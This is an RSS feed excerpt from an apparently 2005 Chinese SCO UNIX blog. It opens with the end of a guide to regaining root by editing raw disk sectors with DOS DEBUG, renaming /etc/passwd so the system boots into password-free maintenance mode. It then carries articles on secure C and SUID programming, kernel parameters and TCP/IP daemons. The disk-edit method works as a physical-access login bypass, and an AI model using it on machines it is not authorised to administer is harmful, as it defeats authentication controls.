<BR>----C1、H1、S1分别为数据块物理地址柱面号、磁头号、扇区号 <BR>----P等于数据块地址翻译成十进制数后再乘以2 <BR>----H为硬盘磁头数 <BR>----S为每磁头扇区数 <BR>----C0为根文件系统起始柱面 <BR>----C只是一个中间量 <BR>----将DA0500H代入上述公式，并根据H=64，S=32，C0=2，可算出C1=3，H1=29，S1=21。 <BR>因此根目录在硬盘上的物理地址为：3柱面29头21扇。 <BR>----用app把它读出来（CX和DX的赋值应分别改为"0315"和"1D80"）。 <BR>----读出后用"dump"命令查看，可以发现偏移1050H至105FH是/etc目录的i-node号 <BR>和文件名，其中i-node号为22H，即34D。因为每个扇区有8个i-node，所以34号 <BR>i-node必定在2柱面0头9扇。 <BR>----用app读出它（CX和DX的赋值分别改为"0209"和"0080"）。 <BR>----用"dump"命令可看出偏移1040H至107FH正是/etc目录的i-node。我们把它的 <BR>数据块也读出来。先计算第一个数据块的物理地址。将2D0700H代入公式，算出/etc第 <BR>一个数据块物理地址是3柱面50头27扇。 <BR>----用app读出它（CX和DX的赋值分别改为"031B"和"3280"）。 <BR>----用"dump"命令可看出偏移11A0H至11AFH是/etc目录下的passwd文件名。我们 <BR>用"enter"命令把它改成zls，然后再运行app（AX的赋值应改为0301)。 <BR>----现在退出DEBUG命令。 <BR>----取出软盘，重启机器，引导UNIX操作系统。 <BR>----按照引导顺序，UNIX显示出硬件配置信息后就该提问超级用户口令了，但就在此 <BR>时它却突然发现/etc/passwd文件失踪了！(其实只是被改名为zls，但UNIX对此一无 <BR>所知。)没有了这个文件，UNIX无法提问超级用户口令，于是它只好在屏幕上显示如下 <BR>信息并允许用户以系统管理员身份直接进入系统维护态： <BR><BR>su:Unknownid:root <BR>/etc/tcbck:file/etc/passwd <BR>ismissingorzerolength <BR>/etc/tcbck:eitherslash(/)ismissingfrom <BR>/etc/auth/system/filesortherearemalformedentries <BR>in/etc/passwdor/etc/group <BR>/etc/smmck:restoremissingfiles <BR>frombackupordistribution. <BR><BR>INIT:SINGLEUSERMODE <BR><BR>****PASSWORDFILEMISSING!**** <BR><BR>EnteringSystemMaintenanceMode <BR><BR># <BR>----进入维护态后，当然就可以"为所欲为"了。但最好先设置一个新的超级用户口 <BR>令。要想这样做，首先必须恢复passwd文件名。 <BR>#mv/etc/zls/etc/passwd <BR>----然后，就可以用/bin/passwd命令设置新的超级用户口令了。 <BR>结束语 <BR>----在本文行将结束时，我们再来作一个小小的总结。 <BR>----传统方案有操作平台、操作工具和操作对象局限性。新方案则突破了这三大局限 <BR>性。 <BR>----一、新方案突破了操作平台局限性。传统方案的操作平台必须是UNIX，而新方案 <BR>则是DOS。DOS比UNIX普及得多，中国的绝大部分计算机用户对UNIX陌生，但对DOS却相 <BR>当熟悉，使用起来也有亲切感。 <BR><BR>----二、新方案突破了操作工具局限性。传统方案的操作工具必须是两张紧急启动软 <BR>盘，而新方案仅使用一张DOS系统盘，其上只需拷贝一个DEBUG.EXE文件。紧急启动软盘 <BR>只能专盘专用，DOS系统盘却不存在这个问题--用任何一台机器上的DOS制作出的系 <BR>统盘，可以用来解决任何一台机器上的UNIX超级用户口令被忘记的问题。至于用来访 <BR>问物理硬盘的软件，当然更不是非DEBUG不可，任何软件--只要支持访问物理盘--均 <BR>可。作者推荐使用Norton8.0软件包里的diskedit程序，对不懂汇编语言编程的人来 <BR>说该程序无疑是一个最好的选择。 <BR><BR>----三、新方案突破了操作对象局限性。传统方案的操作对象是文件系统管理下的文 <BR>件，而新方案撇开了文件系统，直接在底层修改数据。 <BR><BR>----最后需要说明的是，对于SCOOpenServerRelease5，因条件所限，作者还没有 <BR>使用过，所以关于新方案在该版本上执行时步骤是否需要修改以及如何修改的问题， <BR>如果有机会，作者会加以适当的补充。 <img src ="http://www.cnitblog.com/cyberfan/aggbug/2093.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/cyberfan/" target="_blank">cyberfan</a> 2005-08-15 15:07 <a href="http://www.cnitblog.com/cyberfan/articles/2093.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>UNIX常用的系统调用</title><link>http://www.cnitblog.com/cyberfan/articles/2094.html</link><dc:creator>cyberfan</dc:creator><author>cyberfan</author><pubDate>Mon, 15 Aug 2005 07:07:00 GMT</pubDate><guid>http://www.cnitblog.com/cyberfan/articles/2094.html</guid><wfw:comment>http://www.cnitblog.com/cyberfan/comments/2094.html</wfw:comment><comments>http://www.cnitblog.com/cyberfan/articles/2094.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/cyberfan/comments/commentRss/2094.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/cyberfan/services/trackbacks/2094.html</trackback:ping><description><![CDATA[系统管理－UNIX编程－UNIX系统编程常用库函数说明<BR>UNIX系统为程序员提供了许多子程序,这些子程序可存取各种安全属性.有 些是信息子程序,返回文件属性,实际的和有效的UID,GID等信息.有些子程序可 改变文件属性.UID,GID等有些处理口令文件和小组文件,还有些完成加密和解密. 本文主要讨论有关系统子程序,标准C库子程序的安全,如何写安全的C程序 并从root的角度介绍程序设计(仅能被root调用的子程序). <BR>1.系统子程序 <BR>(1)I/O子程序 <BR>*creat():建立一个新文件或重写一个暂存文件. 需要两个参数:文件名和存取许可值(8进制方式).如: creat("/usr/pat/read_write",0666) /* 建立存取许可方式为0666的文件 */ 调用此子程序的进程必须要有建立的文件的所在目录的写和执行许可,置 给creat()的许可方式变量将被umask()设置的文件建立屏蔽值所修改,新 文件的所有者和小组由有效的UID和GID决定. 返回值为新建文件的文件描述符. <BR>*fstat():见后面的stat(). <BR>*open():在C程序内部打开文件. 需要两个参数:文件路径名和打开方式(I,O,I&amp;O). 如果调用此子程序的进程没有对于要打开的文件的正确存取许可(包括文 件路径上所有目录分量的搜索许可),将会引起执行失败. 如果此子程序被调用去打开不存在的文件,除非设置了O_CREAT标志,调用 将不成功.此时,新文件的存取许可作为第三个参数(可被用户的umask修 改). <BR>当文件被进程打开后再改变该文件或该文件所在目录的存取许可,不影响对该文件的I/O操作. <BR>*read():从已由open()打开并用作输入的文件中读信息. 它并不关心该文件的存取许可.一旦文件作为输入打开,即可从该文件中读 取信息.<BR>*write():输出信息到已由open()打开并用作输出的文件中.同read()一样 它也不关心该文件的存取许可. <BR>(2)进程控制 <BR>*exec()族:包括execl(),execv(),execle(),execve(),execlp()和execvp() 可将一可执行模快拷贝到调用进程占有的存贮空间.正被调用进 程执行的程序将不复存在,新程序取代其位置. 这是UNIX系统中一个程序被执行的唯一方式:用将执行的程序复盖原有的 程序. <BR>安全注意事项: <BR>. 实际的和有效的UID和GID传递给由exec()调入的不具有SUID和SGID许 可的程序. <BR>. 如果由exec()调入的程序有SUID和SGID许可,则有效的UID和GID将设 置给该程序的所有者或小组 <BR>. 文件建立屏蔽值将传递给新程序. <BR>. 除设了对exec()关闭标志的文件外,所有打开的文件都传递给新程序. 用fcntl()子程序可设置对exec()的关闭标志. <BR>*fork():用来建立新进程.其建立的子进程是与调用fork()的进程(父进程) 完全相同的拷贝(除了进程号外) <BR>安全注意事项: <BR>. 子进程将继承父进程的实际和有效的UID和GID. . 子进程继承文件方式建立屏蔽值. <BR>. 所有打开的文件传给子进程. <BR>*signal():允许进程处理可能发生的意外事件和中断. 需要两个参数:信号编号和信号发生时要调用的子程序. 信号编号定义在signal.h中. 信号发生时要调用的子程序可由用户编写,也可用系统给的值,如:SIG_IGN 则信号将被忽略,SIG_DFL则信号将按系统的缺省方式处理. 如许多与安全有关的程序禁止终端发中断信息(BREAK和DELETE),以免自己 被用户终端终止运行. 有些信号使UNIX系统的产生进程的核心转储(进程接收到信号时所占内存 的内容,有时含有重要信息),此系统子程序可用于禁止核心转储. <BR>(3)文件属性 <BR>*access():检测指定文件的存取能力是否符合指定的存取类型. 需要两个参数:文件名和要检测的存取类型(整数). <BR>存取类型定义如下:<BR>0: 检查文件是否存在 <BR>1: 检查是否可执行(搜索) <BR>2: 检查是否可写 <BR>3: 检查是否可写和执行 <BR>4: 检查是否可读 <BR>5: 检查是否可读和执行 <BR>6: 检查是否可读可写可执行 <BR>这些数字的意义和chmod命令中规定许可方式的数字意义相同. 此子程序使用实际的UID和GID检测文件的存取能力(一般有效的UID和GID 用于检查文件存取能力). 返回值: 0:许可 -1:不许可. <BR>*chmod():将指定文件或目录的存取许可方式改成新的许可方式. 需要两个参数:文件名和新的存取许可方式. <BR>*chown():同时改变指定文件的所有者和小组的UID和GID.(与chown命令不 同). 由于此子程序同时改变文件的所有者和小组,故必须取消所操作文件的SUID 和SGID许可,以防止用户建立SUID和SGID程序,然后运行chown()去获得别 人的权限. <BR>*stat():返回文件的状态(属性). 需要两个参数:文件路径名和一个结构指针,指向状态信息的存放 的位置. 结构定义如下: st_mode: 文件类型和存取许可方式 st_ino: I节点号 st_dev: 文件所在设备的ID st_rdev: 特别文件的ID st_nlink: 文件链接数 st_uid: 文件所有者的UID st_gid: 文件小组的GID st_size: 按字节计数的文件大小 st_atime: 最后存取时间(读) st_mtime: 最后修改时间(写)和最后状态的改变 st_ctime: 最后的状态修改时间 返回值: 0:成功 1:失败 <BR>*umask():将调用进程及其子进程的文件建立屏蔽值设置为指定的存取许可. 需要一个参数: 新的文件建立屏值. <BR>(4)UID和GID的处理<BR>*getuid():返回进程的实际UID. <BR>*getgid():返回进程的实际GID. 以上两个子程序可用于确定是谁在运行进程. <BR>*geteuid():返回进程的有效UID. <BR>*getegid():返回进程的有效GID. 以上两个子程序可在一个程序不得不确定它是否在运行某用户而不是运行 它的用户的SUID程序时很有用,可调用它们来检查确认本程序的确是以该 用户的SUID许可在运行. <BR>*setuid():用于改变有效的UID. 对于一般用户,此子程序仅对要在有效和实际的UID之间变换的SUID程序才 有用(从原有效UID变换为实际UID),以保护进程不受到安全危害.实际上该 进程不再是SUID方式运行. *setgid():用于改变有效的GID. <BR>2.标准C库 <BR>(1)标准I/O <BR>*fopen():打开一个文件供读或写,安全方面的考虑同open()一样. <BR>*fread(),getc(),fgetc(),gets(),scanf()和fscanf():从已由fopen()打 开供读的文件中读取信息.它们并不关心文件的存取许可.这一点 同read(). <BR>*fwrite(),put(),fputc(),puts,fputs(),printf(),fprintf():写信息到 已由fopen()打开供写的文件中.它们也不关心文件的存取许可. 同write().<BR>*getpass():从终端上读至多8个字符长的口令,不回显用户输入的字符. 需要一个参数: 提示信息. 该子程序将提示信息显示在终端上,禁止字符回显功能,从/dev/tty读取口 令,然后再恢复字符回显功能,返回刚敲入的口令的指针. <BR>*popen():将在(5)运行shell中介绍. <BR>(2)/etc/passwd处理 <BR>有一组子程序可对/etc/passwd文件进行方便的存取,可对文件读取到入口 项或写新的入口项或更新等等.<BR>*getpwuid():从/etc/passwd文件中获取指定的UID的入口项. <BR>*getpwnam():对于指定的登录名,在/etc/passwd文件检索入口项. <BR>以上两个子程序返回一指向passwd结构的指针,该结构定义在 /usr/include/pwd.h中,定义如下: struct passwd {<BR>char * pw_name; /* 登录名 */ <BR>char * pw_passwd; /* 加密后的口令 */ <BR>uid_t pw_uid; /* UID */ <BR>gid_t pw_gid; /* GID */ <BR>char * pw_age; /* 代理信息 */ <BR>char * pw_comment; /* 注释 */ <BR>char * pw_gecos; <BR>char * pw_dir; /* 主目录 */ <BR>char * pw_shell; /* 使用的shell */ <BR>}; <BR>*getpwent(),setpwent(),endpwent():对口令文件作后续处理. <BR>首次调用getpwent(),打开/etc/passwd并返回指向文件中第一个入口项的 指针,保持调用之间文件的打开状态. 再调用getpwent()可顺序地返回口令文件中的各入口项. 调用setpwent()把口令文件的指针重新置为文件的开始处. 使用完口令文件后调用endpwent()关闭口令文件. <BR>*putpwent():修改或增加/etc/passwd文件中的入口项. <BR>此子程序将入口项写到一个指定的文件中,一般是一个临时文件,直接写口令文件是很危险的.最好在执行前做文件封锁,使两个程不能同时写一个 文件.<BR>算法如下:<BR>. 建立一个独立的临时文件,即/etc/passnnn,nnn是PID号. <BR>. 建立新产生的临时文件和标准临时文件/etc/ptmp的链,若建链失败, 则为有人正在使用/etc/ptmp,等待直到/etc/ptmp可用为止或退出.<BR>. 将/etc/passwd拷贝到/etc/ptmp,可对此文件做任何修改.<BR>. 将/etc/passwd移到备份文件/etc/opasswd. <BR>. 建立/etc/ptmp和/etc/passwd的链. <BR>. 断开/etc/passnnn与/etc/ptmp的链. <BR>注意:临时文件应建立在/etc目录,才能保证文件处于同一文件系统中,建 链才能成功,且临时文件不会不安全.此外,若新文件已存在,即便建 链的是root用户,也将失败,从而保证了一旦临时文件成功地建链后 没有人能再插进来干扰.当然,使用临时文件的程序应确保清除所有 临时文件,正确地捕捉信号. <BR>(3)/etc/group的处理 <BR>有一组类似于前面的子程序处理/etc/group的信息,使用时必须用include 语句将/usr/include/grp.h文件加入到自己的程序中.该文件定义了group 结构,将由getgrnam(),getgrgid(),getgrent()返回group结构指针.<BR>*getgrnam():在/etc/group文件中搜索指定的小组名,然后返回指向小组入 口项的指针. <BR>*getgrgid():类似于前一子程序,不同的是搜索指定的GID. <BR>*getgrent():返回group文件中的下一个入口项. <BR>*setgrent():将group文件的文件指针恢复到文件的起点.<BR>*endgrent():用于完成工作后,关闭group文件. <BR>*getuid():返回调用进程的实际UID.<BR>*getpruid():以getuid()返回的实际UID为参数,确定与实际UID相应的登录 名,或指定一UID为参数. <BR>*getlogin():返回在终端上登录的用户的指针. 系统依次检查STDIN,STDOUT,STDERR是否与终端相联,与终端相联的标准输 入用于确定终端名,终端名用于查找列于/etc/utmp文件中的用户,该文件 由login维护,由who程序用来确认用户. <BR>*cuserid():首先调用getlogin(),若getlogin()返回NULL指针,再调用 getpwuid(getuid()). <BR>*以下为命令: <BR>*logname:列出登录进终端的用户名. <BR>*who am I:显示出运行这条命令的用户的登录名. <BR>*id:显示实际的UID和GID(若有效的UID和GID和实际的不同时也显示有效的 UID和GID)和相应的登录名. <BR>(4)加密子程序<BR>1977年1月,NBS宣布一个用于美国联邦政府ADP系统的网络的标准加密法:数 据加密标准即DES用于非机密应用方面.DES一次处理64BITS的块,56位的加 密键. <BR>*setkey(),encrypt():提供用户对DES的存取.<BR>此两子程序都取64BITS长的字符数组,数组中的每个元素代表一个位,为0 或1.setkey()设置将按DES处理的加密键,忽略每第8位构成一个56位的加 密键.encrypt()然后加密或解密给定的64BITS长的一块,加密或解密取决 于该子程序的第二个变元,0:加密 1:解密. <BR>*crypt():是UNIX系统中的口令加密程序,也被/usr/lib/makekey命令调用. Crypt()子程序与crypt命令无关,它与/usr/lib/makekey一样取8个字符长 的关键词,2个salt字符.关键词送给setkey(),salt字符用于混合encrypt() 中的DES算法,最终调用encrypt()重复25次加密一个相同的字符串. 返回加密后的字符串指针. <BR>(5)运行shell<BR>*system():运行/bin/sh执行其参数指定的命令,当指定命令完成时返回.<BR>*popen():类似于system(),不同的是命令运行时,其标准输入或输出联到由 popen()返回的文件指针. 二者都调用fork(),exec(),popen()还调用pipe(),完成各自的工作,因而 fork()和exec()的安全方面的考虑开始起作用. <BR>3.写安全的C程序 <BR>一般有两方面的安全问题,在写程序时必须考虑: <BR>(1)确保自己建立的任何临时文件不含有机密数据,如果有机密数据,设置 临时文件仅对自己可读/写.确保建立临时文件的目录仅对自己可写. <BR>(2)确保自己要运行的任何命令(通过system(),popen(),execlp(), execvp()运行的命令)的确是自己要运行的命令,而不是其它什么命 令,尤其是自己的程序为SUID或SGID许可时要小心. <BR>第一方面比较简单,在程序开始前调用umask(077).若要使文件对其他人可 读,可再调chmod(),也可用下述语名建立一个"不可见"的临时文件.<BR>Creat("/tmp/xxx",0);<BR>file=open("/tmp/xxx",O_RDWR);<BR>unlink("/tmp/xxx"); <BR>文件/tmp/xxx建立后,打开,然后断开链,但是分配给该文件的存储器并未删 除,直到最终指向该文件的文件通道被关闭时才被删除.打开该文件的进程 和它的任何子进程都可存取这个临时文件,而其它进程不能存取该文件,因 为它在/tmp中的目录项已被unlink()删除. <BR>第二方面比较复杂而微妙,由于system(),popen(),execlp(),execvp()执行 时,若不给出执行命令的全路径,就能"骗"用户的程序去执行不同的命令.因 为系统子程序是根据PATH变量确定哪种顺序搜索哪些目录,以寻找指定的命 令,这称为SUID陷井.最安全的办法是在调用system()前将有效UID改变成实 际UID,另一种比较好的方法是以全路径名命令作为参数.execl(),execv(), execle(),execve()都要求全路径名作为参数.有关SUID陷井的另一方式是 在程序中设置PATH,由于system()和popen()都启动shell,故可使用shell句 法.<BR>如:<BR>system("PATH=/bin:/usr/bin cd"); <BR>这样允许用户运行系统命令而不必知道要执行的命令在哪个目录中,但这种 方法不能用于execlp(),execvp()中,因为它们不能启动shell执行调用序列 传递的命令字符串. <BR>关于shell解释传递给system()和popen()的命令行的方式,有两个其它的问 题: <BR>*shell使用IFS shell变量中的字符,将命令行分解成单词(通常这个 shell变量中是空格,tab,换行),如IFS中是/,字符串/bin/ed被解释成单词 bin,接下来是单词ed,从而引起命令行的曲解. <BR>再强调一次:在通过自己的程序运行另一个程序前,应将有效UID改为实际的 UID,等另一个程序退出后,再将有效UID改回原来的有效UID. <BR>SUID/SGID程序指导准则 <BR>(1)不要写SUID/SGID程序,大多数时候无此必要. <BR>(2)设置SGID许可,不要设置SUID许可.应独自建立一个新的小组. <BR>(3)不要用exec()执行任何程序.记住exec()也被system()和popen()调用.<BR>. 若要调用exec()(或system(),popen()),应事先用setgid(getgid()) 将有效GID置加实际GID. . 若不能用setgid(),则调用system()或popen()时,应设置IFS: popen("IFS=\t\n;export IFS;/bin/ls","r");<BR>. 使用要执行的命令的全路径名.<BR>. 若不能使用全路径名,则应在命令前先设置PATH: popen("IFS=\t\n;export IFS;PATH=/bin:/usr/bin;/bin/ls","r"); <BR>. 不要将用户规定的参数传给system()或popen();若无法避免则应检查 变元字符串中是否有特殊的shell字符. <BR>. 若用户有个大程序,调用exec()执行许多其它程序,这种情况下不要将 大程序设置为SGID许可.可以写一个(或多个)更小,更简单的SGID程序 执行必须具有SGID许可的任务,然后由大程序执行这些小SGID程序. <BR>(4)若用户必须使用SUID而不是SGID,以相同的顺序记住(2),(3)项内容,并 相应调整.不要设置root的SUID许可.选一个其它户头. <BR>(5)若用户想给予其他人执行自己的shell程序的许可,但又不想让他们能 读该程序,可将程序设置为仅执行许可,并只能通过自己的shell程序来 运行.<BR>编译,安装SUID/SGID程序时应按下面的方法 <BR>(1)确保所有的SUID(SGID)程序是对于小组和其他用户都是不可写的,存取 权限的限制低于4755(2755)将带来麻烦.只能更严格.4111(2111)将使 其他人无法寻找程序中的安全漏洞. <BR>(2)警惕外来的编码和make/install方法<BR>. 某些make/install方法不加选择地建立SUID/SGID程序.<BR>. 检查违背上述指导原则的SUID/SGID许可的编码.<BR>. 检查makefile文件中可能建立SUID/SGID文件的命令. <BR>4.root程序的设计<BR>有若干个子程序可以从有效UID为0的进程中调用.许多前面提到的子程序, 当从root进程中调用时,将完成和原来不同的处理.主要是忽略了许可权限的检 查. 由root用户运行的程序当然是root进程(SUID除外),因有效UID用于确定文 件的存取权限,所以从具有root的程序中,调用fork()产生的进程,也是root进程. <BR>(1)setuid():从root进程调用setuid()时,其处理有所不同,setuid()将把有 效的和实际的UID都置为指定的值.这个值可以是任何整型数.而对非root 进程则仅能以实际UID或本进程原来有效的UID为变量值调用setuid(). <BR>(2)setgid():在系统进程中调用setgid()时,与setuid()类似,将实际和有效 的GID都改变成其参数指定的值. * 调用以上两个子程序时,应当注意下面几点: . 调用一次setuid()(setgid())将同时设置有效和实际UID(GID),独立分 别设置有效或实际UID(GID)固然很好,但无法做到这点. . Setuid()(setgid())可将有效和实际UID(GID)设置成任何整型数,其数 值不必一定与/etc/passwd(/etc/group)中用户(小组)相关联. . 一旦程序以一个用户的UID了setuid(),该程序就不再做为root运行,也 不可能再获root特权. <BR>(3)chown():当root进程运行chown()时,chown()将不删除文件的SUID和/或 SGID许可,但当非root进程运行chown()时,chown()将取消文件的SUID和/ 或SGID许可. <BR>(4)chroot():改变进程对根目录的概念,调用chroot()后,进程就不能把当前 工作目录改变到新的根目录以上的任一目录,所有以/开始的路径搜索,都 从新的根目录开始. <BR>(5)mknod():用于建立一个文件,类似于creat(),差别是mknod()不返回所打开 文件的文件描述符,并且能建立任何类型的文件(普通文件,特殊文件,目录 文件).若从非root进程调用mknod()将执行失败,只有建立FIFO特别文件 (有名管道文件)时例外,其它任何情况下,必须从root进程调用mknod().由 于creat()仅能建立普通文件,mknod()是建立目录文件的唯一途径,因而仅 有root能建立目录,这就是为什么mkdir命令具有SUID许可并属root所有. 一般不从程序中调用mknod().通常用/etc/mknod命令建立特别设备文件而 这些文件一般不能在使用着时建立和删除,mkdir命令用于建立目录.当用 mknod()建立特别文件时,应当注意确从所建的特别文件不允许存取内存,磁盘,终端和其它设备. <BR>(6)unlink():用于删除文件.参数是要删除文件的路径名指针.当指定了目录 时,必须从root进程调用unlink(),这是必须从root进程调用unlink()的唯 一情况,这就是为什么rmdir命令具有root的SGID许可的原因. <BR>(7)mount(),umount():由root进程调用,分别用于安装和拆卸文件系统.这两 个子程序也被mount和umount命令调用,其参数基本和命令的参数相同.调 用mount(),需要给出一个特别文件和一个目录的指针,特别文件上的文件 系统就将安装在该目录下,调用时还要给出一个标识选项,指定被安装的文 件系统要被读/写(0)还是仅读(1).umount()的参数是要一个要拆卸的特别 文件的指针. <img src ="http://www.cnitblog.com/cyberfan/aggbug/2094.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/cyberfan/" target="_blank">cyberfan</a> 2005-08-15 15:07 <a href="http://www.cnitblog.com/cyberfan/articles/2094.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>SCO UNIX5 的动态核心表</title><link>http://www.cnitblog.com/cyberfan/articles/2091.html</link><dc:creator>cyberfan</dc:creator><author>cyberfan</author><pubDate>Mon, 15 Aug 2005 07:06:00 GMT</pubDate><guid>http://www.cnitblog.com/cyberfan/articles/2091.html</guid><wfw:comment>http://www.cnitblog.com/cyberfan/comments/2091.html</wfw:comment><comments>http://www.cnitblog.com/cyberfan/articles/2091.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/cyberfan/comments/commentRss/2091.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/cyberfan/services/trackbacks/2091.html</trackback:ping><description><![CDATA[动态核心参数也是UNIX5引进的新特性。但并非所有核心参数均可以动态调整。动态核心表涉及以下几个部分： <BR>一、 动态核心表的可用空间，通过以下几个参数控制： <BR>以下参数决定有多大的内存空间可以分配给动态核心表。 <BR>; TBLPAGES：动态核心表的最大页面数。DEFAULT=0，0意味着取系统的自动配置值。 <BR>; TBLDMAPAGES：可用于DMA存取的最大内存页面数。 <BR>; TBLLIMIT：单个表占整个TBLPAGES和TBLDMAPAGES的最大百分比。DEFAULT=70%。 <BR>; TBLSYSLIMIT：若TBLPAGES取0值，此参数表示动态表可占内存的最大百分比。DEFAULT=25% <BR>二、 动态核心表 <BR>下列参数控制了动态核心表空间可以增长的最大幅度。 <BR>; MAX_DISK：系统容许的硬盘驱动器表数目 <BR>; MAX_INODE：系统的节点表槽数目。 <BR>; MAX_PROC：进程表数目。 <BR>; MAX_FILE：可打开文件数目。 <BR>; MAX_REGION：区表数目。（此值应略大于MAX_PROC值的三倍。） <BR>; MAX_MOUNT：可挂载系统表的数目。 <BR>; MAX_FLCREC：锁表的数目。 <BR>三、 相关命令 <BR>; 显示动态参数当前值 <BR>getconf　参数名 <BR>如： getconf　KERNEL_PROC <BR>getconf　KERNEL_PROC_MAX <BR>注:sar -v 命令中的PROC_SZ也表明了实际的活动进程数 <BR>; 改变当前动态参数值 <BR>setconf　参数名 参数值 (返回值为原值) <BR>; 查看、修改动态核心参数的几个命令 <BR>/etc/conf/cf.d/configure　-x <BR>sysdef <BR>/etc/conf/cf.d/idtune <img src ="http://www.cnitblog.com/cyberfan/aggbug/2091.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/cyberfan/" target="_blank">cyberfan</a> 2005-08-15 15:06 <a href="http://www.cnitblog.com/cyberfan/articles/2091.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>与性能相关的几个核心参数(CPU,I/O,MEMORY)</title><link>http://www.cnitblog.com/cyberfan/articles/2092.html</link><dc:creator>cyberfan</dc:creator><author>cyberfan</author><pubDate>Mon, 15 Aug 2005 07:06:00 GMT</pubDate><guid>http://www.cnitblog.com/cyberfan/articles/2092.html</guid><wfw:comment>http://www.cnitblog.com/cyberfan/comments/2092.html</wfw:comment><comments>http://www.cnitblog.com/cyberfan/articles/2092.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/cyberfan/comments/commentRss/2092.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/cyberfan/services/trackbacks/2092.html</trackback:ping><description><![CDATA[一个系统的性能涉及硬件和软件的许多方面。一般CPU、I/O、MEMORY等都是考察的重要因素。下面主要介绍与这三个方面相关的几个核心参数： <BR>一、 CPU： <BR>; MAXSLICE：用户进程的最大时间切片。DEFAULT=100　范围在25~100。减少此值，意味着每个进程运行的时间减少，但可以得到更多的运行机会 <BR>; MAXUP：用户可以同时运行的进程数。DEFAULT=100 <BR>二、 I/O： <BR>; NBUF：缓存区的大小。若显示为0，表示取系统的自动配置。增大此值，可以减少写盘次数。对单CPU的系统来讲，改变NBUF必须同时改变NHBUF。其中NHBUF的值必须是2的整数幂，而且必须小于等于NBUF。 <BR>; NHBUF：hash队列的数量。 <BR>; BDFLUSHR：缓存数据写盘的频率。DEFAULT=30秒一次。减少此值，可以减少硬盘的活动，但增加了数据丢失的概率。 <BR>; NAUTOUP：调用bdflusher刷新前，缓冲区的存在秒数。此值的设置必须与BDFLUSHR配合。过高的BDFLUSHER配上过低的NAUTOUP可能导致系统崩溃时的数据丢失。 <BR>三、 MEMORY <BR>; NBUF：同上 <BR>; GPGSLO：空闲内存页的低值。否则vhand进程开始启动，以置换更多的页。 <BR>; GPGSHI：空闲内存页的高值。达到此值后，vhand停止。 <img src ="http://www.cnitblog.com/cyberfan/aggbug/2092.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/cyberfan/" target="_blank">cyberfan</a> 2005-08-15 15:06 <a href="http://www.cnitblog.com/cyberfan/articles/2092.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>SCO TCP/IP网络管理---守护进程（daemon)</title><link>http://www.cnitblog.com/cyberfan/articles/2088.html</link><dc:creator>cyberfan</dc:creator><author>cyberfan</author><pubDate>Mon, 15 Aug 2005 07:05:00 GMT</pubDate><guid>http://www.cnitblog.com/cyberfan/articles/2088.html</guid><wfw:comment>http://www.cnitblog.com/cyberfan/comments/2088.html</wfw:comment><comments>http://www.cnitblog.com/cyberfan/articles/2088.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/cyberfan/comments/commentRss/2088.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/cyberfan/services/trackbacks/2088.html</trackback:ping><description><![CDATA[这次我们介绍一下在支持多用户条件下启动的TCP/IP守护进程（daemon)的一个 <BR>概貌。如下： <BR>　 <BR>　　　　　　　　　Multiuser　Daemons <BR>Always started: <BR>. inetd <BR><BR>Started if configuration file is present: <BR>. pppd <BR>. snmpd <BR>. named <BR>. gated <BR>. xntpd <BR>. lpd <BR><BR>Started if configuration file for alternative is nor present: <BR>. routed <BR><BR>Started if uncommented and configuration file is present: <BR>. irdd <BR>. timed <BR>. rwhod <BR>. rarpd <BR><BR>以上所列出的都是一些守护进程，以d为结尾，其实都是些服务进程和协议，大家都很熟悉。 <BR>inetd : internet监控daemon（inetd)监听那些与/etc/inetd.conf中所列出的网络服务 <BR>进程连接请求，并按要求启动这些进程。 <BR><BR>pppd : Point-to-Point daemon (pppd)只有在你已经配置了/etc/ppphosts文件的条件 <BR>下才会启动。 <BR><BR>snmpd : "Simple Network Management Protocol(简单网络管理协议）大家应该并不陌 <BR>生，用户只有配置了/etc/snmpd.cof文件才能启动。一旦这些文件配置完成，就可以将系 <BR>统配置成SNMP客户端。 <BR><BR>named : 当你配置好/etc/named.boot文件，就可以启动name daemon了。 <BR><BR>routed或gated ：启动gated前要配置/etc/gated.conf文件。否则在默认情况下routed <BR>会自动启动，可以通过修改/etc/gateways文件来改变routed的配置。 <BR><BR>xntpd : internet计时守护进程，该进程通过使用internet上的时间服务器同步系统核心 <BR>时钟。 <BR><BR>lpd : 远程打印机 daemon。 <BR>还有一些daemon因为他们的启动代码被注解掉了，因此要启动它们，就必须编辑/etc/tcp <BR>文件，解注它们的启动代码：如：irdd,timed,rwhod,rarpd。 <BR>TCP/IP的启动与关闭：关闭时要确定所有与TCP/IP有关的服务均已关闭，包括NFS和NIS。 <BR>键如命令：/etc/tcp stop来关闭TCP/IP，用/etc/tcp start来启动它，如果系统配置要求 <BR>到两个最高级别的安全性，就要用sd命令，sd /etc/tcp start。 <img src ="http://www.cnitblog.com/cyberfan/aggbug/2088.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/cyberfan/" target="_blank">cyberfan</a> 2005-08-15 15:05 <a href="http://www.cnitblog.com/cyberfan/articles/2088.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>SCO TCP/IP网络管理---ifconfig命令的语法</title><link>http://www.cnitblog.com/cyberfan/articles/2089.html</link><dc:creator>cyberfan</dc:creator><author>cyberfan</author><pubDate>Mon, 15 Aug 2005 07:05:00 